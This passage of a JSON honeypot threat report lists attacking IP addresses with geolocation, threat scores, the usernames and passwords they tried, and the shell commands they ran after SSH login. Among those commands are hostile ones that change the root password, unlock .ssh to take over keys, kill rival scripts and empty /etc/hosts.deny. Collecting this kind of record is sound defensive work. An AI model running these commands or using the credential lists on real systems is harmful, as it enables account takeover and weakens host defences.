      "last_seen": "2026-05-28T06:33:32.548Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "houtai",
        "tigergraph",
        "boot2docker",
        "bot",
        "duibuqi",
        "ecloud",
        "emqx",
        "g",
        "he",
        "ikeda",
        "iloveyou",
        "kubeadmin",
        "logstash",
        "lp",
        "max",
        "steam",
        "suzuki"
      ],
      "passwords_attempted": [
        "password",
        "3245gs5662d34",
        "345gs5662d34",
        "0601",
        "123456",
        "1QAZ2wsx",
        "backend",
        "bot",
        "didi",
        "duibuqi",
        "ecloud",
        "fjbdfdjkdsfs541544",
        "g",
        "he123",
        "ikeda",
        "iloveyou",
        "kt",
        "logstash",
        "lp",
        "max"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"backend\\nVrbyQ91L9IlB\\nVrbyQ91L9IlB\\n\"|passwd",
        "echo \"tigergraph\\nVVCtIUNVOSys\\nVVCtIUNVOSys\\n\"|passwd",
        "echo -e \"backend\\nVrbyQ91L9IlB\\nVrbyQ91L9IlB\"|passwd|bash",
        "echo -e \"tigergraph\\nVVCtIUNVOSys\\nVVCtIUNVOSys\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 40.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.7,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 373,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T16:19:39.911000+00:00",
        "last_seen_30d": "2026-05-28T06:34:41.702000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 293,
        "Suricata": 80
      }
    },
    "43.132.227.251": {
      "attack_count": 281,
      "first_seen": "2026-05-30T09:05:10.116Z",
      "last_seen": "2026-05-30T09:28:37.673Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "fabian",
        "server",
        "abdullah",
        "admin",
        "jackson",
        "ubuntu",
        "victor",
        "wd"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ4esz",
        "111222",
        "123",
        "123456",
        "123789",
        "123qweQWE@",
        "2233",
        "Aa.123456",
        "Server123",
        "ab123456",
        "abdullah",
        "admin1234",
        "iloveyou",
        "jackson",
        "wd"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nN78QXUvCrcam\\nN78QXUvCrcam\\n\"|passwd",
        "echo \"Server123\\nemykt0SPUF28\\nemykt0SPUF28\\n\"|passwd",
        "echo \"root:Ef1RH0AyoLs3\"|chpasswd|bash",
        "echo -e \"123456\\nN78QXUvCrcam\\nN78QXUvCrcam\"|passwd|bash",
        "echo -e \"Server123\\nemykt0SPUF28\\nemykt0SPUF28\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 36.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T09:05:10.116000+00:00",
        "last_seen_30d": "2026-05-30T09:29:39.288000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 281,
        "Suricata": 47
      }
    },
    "190.60.242.28": {
      "attack_count": 228,
      "first_seen": "2026-05-13T20:30:36.991Z",
      "last_seen": "2026-05-13T21:35:38.131Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ayjtnzjc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1Fluturasu123",
        "1q2w3e4r5",
        "cgm2010",
        "db2pass",
        "dennis",
        "enable",
        "f976efb7524d473e67fff619f7600811",
        "hell05a",
        "huawei12#$",
        "megan1",
        "muie1234",
        "romaric",
        "test0000",
        "xjw",
        "yzOeGur5kZbZ",
        "zelda123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:NLamPEbPhzHW\"|chpasswd|bash",
        "echo \"root:Wt1u5308RR5g\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": null,
      "asn": 18747,
      "as_org": "IFX Corporation",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 284,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T20:30:36.991000+00:00",
        "last_seen_30d": "2026-05-13T21:36:43.134000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 228,
        "Suricata": 56
      }
    },
    "94.29.124.154": {
      "attack_count": 222,
      "first_seen": "2026-05-10T09:20:25.023Z",
      "last_seen": "2026-05-25T10:36:45.020Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "admin",
        "oracle",
        "svnuser",
        "345gs5662d34",
        "adminit",
        "arkserver",
        "carl",
        "csgoserver",
        "dev",
        "ftpuser",
        "git",
        "loginuser",
        "mysql1",
        "postgresql",
        "teamspeak3",
        "test",
        "teste",
        "ubuntu1"
      ],
      "passwords_attempted": [
        "root",
        "test",
        "$admin123",
        "123",
        "123456wW",
        "123izma123",
        "1p2o3i",
        "3245gs5662d34",
        "345gs5662d34",
        "66666666",
        "Ubuntu2024",
        "a123456789",
        "abc@123",
        "adminit",
        "csgo123",
        "d3v",
        "hadoop123",
        "loginuser",
        "manager123",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root\\nlUGtZ2xDbDPE\\nlUGtZ2xDbDPE\\n\"|passwd",
        "echo -e \"root\\nlUGtZ2xDbDPE\\nlUGtZ2xDbDPE\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 25513,
      "as_org": "PJSC Moscow city telephone network",
      "threat_score": 40.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.7,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 297,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T09:20:25.023000+00:00",
        "last_seen_30d": "2026-05-25T10:46:52.685000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 222,
        "Suricata": 75
      }
    },
    "43.163.81.111": {
      "attack_count": 221,
      "first_seen": "2026-05-19T14:11:20.523Z",
      "last_seen": "2026-05-19T14:38:37.412Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678a",
        "19071907",
        "1qasw2",
        "28011980",
        "boss",
        "claude",
        "csp",
        "dina123",
        "ftpuser2",
        "ghani",
        "huang",
        "mailadmin",
        "moon123",
        "sniper!@#$sniper",
        "tango12",
        "www.163.com",
        "yq@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:04YuJjNaWQWK\"|chpasswd|bash",
        "echo \"root:euCU6NhJYO9F\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 268,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T14:11:20.523000+00:00",
        "last_seen_30d": "2026-05-19T14:39:44.633000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 221,
        "Suricata": 47
      }
    },
    "89.37.117.103": {
      "attack_count": 198,
      "first_seen": "2026-05-08T11:06:15.436Z",
      "last_seen": "2026-05-31T20:42:04.784Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": "Bucharest",
      "asn": 62390,
      "as_org": "NexonHost Srl",
      "threat_score": 55.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.6,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 231,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T11:06:15.436000+00:00",
        "last_seen_30d": "2026-05-31T20:43:14.776000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 132,
        "Suricata": 99
      }
    },
    "180.93.43.225": {
      "attack_count": 173,
      "first_seen": "2026-05-20T02:10:27.073Z",
      "last_seen": "2026-05-20T02:42:42.374Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Jj123456",
        "News@123",
        "aa123456789",
        "abcd@4321",
        "claude",
        "fuser",
        "games",
        "india123",
        "nikolas",
        "orangepi",
        "ph03n1x",
        "qaz123!@#",
        "qazWSXedcrfv",
        "qazxswedc",
        "root@123456",
        "rootbridge",
        "sue",
        "thomas"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Bbypv44zkhpk\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 7602,
      "as_org": "Sai gon Postel Corporation",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 225,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T02:10:27.073000+00:00",
        "last_seen_30d": "2026-05-20T02:43:52.625000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 52
      }
    },
    "43.157.163.155": {
      "attack_count": 168,
      "first_seen": "2026-05-13T14:18:07.675Z",
      "last_seen": "2026-05-13T15:00:01.805Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "android",
        "backend",
        "compta",
        "deploy",
        "hack",
        "kafka",
        "palworld",
        "ruslan",
        "tomcat",
        "vaibhav",
        "wifi",
        "wordpress"
      ],
      "passwords_attempted": [
        "1",
        "123456",
        "014789",
        "202520",
        "3245gs5662d34",
        "345gs5662d34",
        "@A123456",
        "Qwerty654321",
        "Wc123456",
        "Xy123456",
        "abc123456789",
        "android",
        "compta",
        "d3pl0y1234",
        "palworld",
        "ruslan123",
        "vaibhav",
        "vps@123456",
        "wifi",
        "wordpress123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:lh337O59hI1t\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T14:18:07.675000+00:00",
        "last_seen_30d": "2026-05-13T15:01:03.921000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 52
      }
    },
    "103.134.154.138": {
      "attack_count": 143,
      "first_seen": "2026-05-30T01:43:20.990Z",
      "last_seen": "2026-05-30T02:19:24.339Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "faisal",
        "hack",
        "odoo",
        "pz",
        "user"
      ],
      "passwords_attempted": [
        "00000",
        "1234",
        "123456",
        "123456a?",
        "12345@Abcde",
        "1234@Qwer",
        "3245gs5662d34",
        "345gs5662d34",
        "Lz123456",
        "Ml123456",
        "User",
        "aa12345678",
        "centos7svm",
        "cloud@123",
        "faisal",
        "odoo13",
        "thmpv77d6f"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:dCldxkQJwniN\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 183,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T01:43:20.990000+00:00",
        "last_seen_30d": "2026-05-30T02:20:33.481000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 40
      }
    },
    "51.158.120.121": {
      "attack_count": 143,
      "first_seen": "2026-05-29T19:15:47.553Z",
      "last_seen": "2026-05-29T19:34:26.979Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "cisco",
        "denis",
        "gitlab-runner",
        "irfan",
        "qw",
        "sftpuser",
        "user1",
        "yan"
      ],
      "passwords_attempted": [
        "123456",
        "111111",
        "3245gs5662d34",
        "345gs5662d34",
        "Root123456.",
        "Server@1234",
        "aa123456",
        "cisco",
        "denis",
        "gitlab",
        "irfan123",
        "linux123",
        "lt123456",
        "op",
        "qw",
        "unix"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Om9WRG5Hw2kS\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 33.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 181,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T19:15:47.553000+00:00",
        "last_seen_30d": "2026-05-29T19:35:27.833000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 38
      }
    },
    "116.118.44.131": {
      "attack_count": 133,
      "first_seen": "2026-05-30T00:19:53.628Z",
      "last_seen": "2026-05-30T00:40:30.226Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "lucas",
        "meng",
        "sc",
        "tempuser",
        "ubuntu"
      ],
      "passwords_attempted": [
        "!@#qweASDzxc",
        "112233",
        "123456",
        "12345678",
        "123456789Abc",
        "123456xx",
        "123qweasd!@#",
        "1qaz@WSX2025",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456@",
        "Asdf1234",
        "Lj123456",
        "Zd123456",
        "sc123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:PZmpbv8k7aKV\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135951,
      "as_org": "Webico Company Limited",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 166,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T00:19:53.628000+00:00",
        "last_seen_30d": "2026-05-30T00:40:30.226000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 133,
        "Suricata": 33
      }
    },
    "2.102.252.214": {
      "attack_count": 118,
      "first_seen": "2026-05-31T21:49:44.708Z",
      "last_seen": "2026-05-31T22:09:20.760Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ir",
        "nick",
        "sybase",
        "thomas"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "QWEasd123",
        "Qwerty123456",
        "Test@123",
        "asd123asd",
        "ir",
        "nick",
        "pass...",
        "qazQAZ123",
        "sybase",
        "thomas"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:z2tB3t9BNT50\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Bradford",
      "asn": 13285,
      "as_org": "TalkTalk",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T21:49:44.708000+00:00",
        "last_seen_30d": "2026-05-31T22:10:24.147000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "78.89.154.59": {
      "attack_count": 103,
      "first_seen": "2026-05-22T17:01:34.068Z",
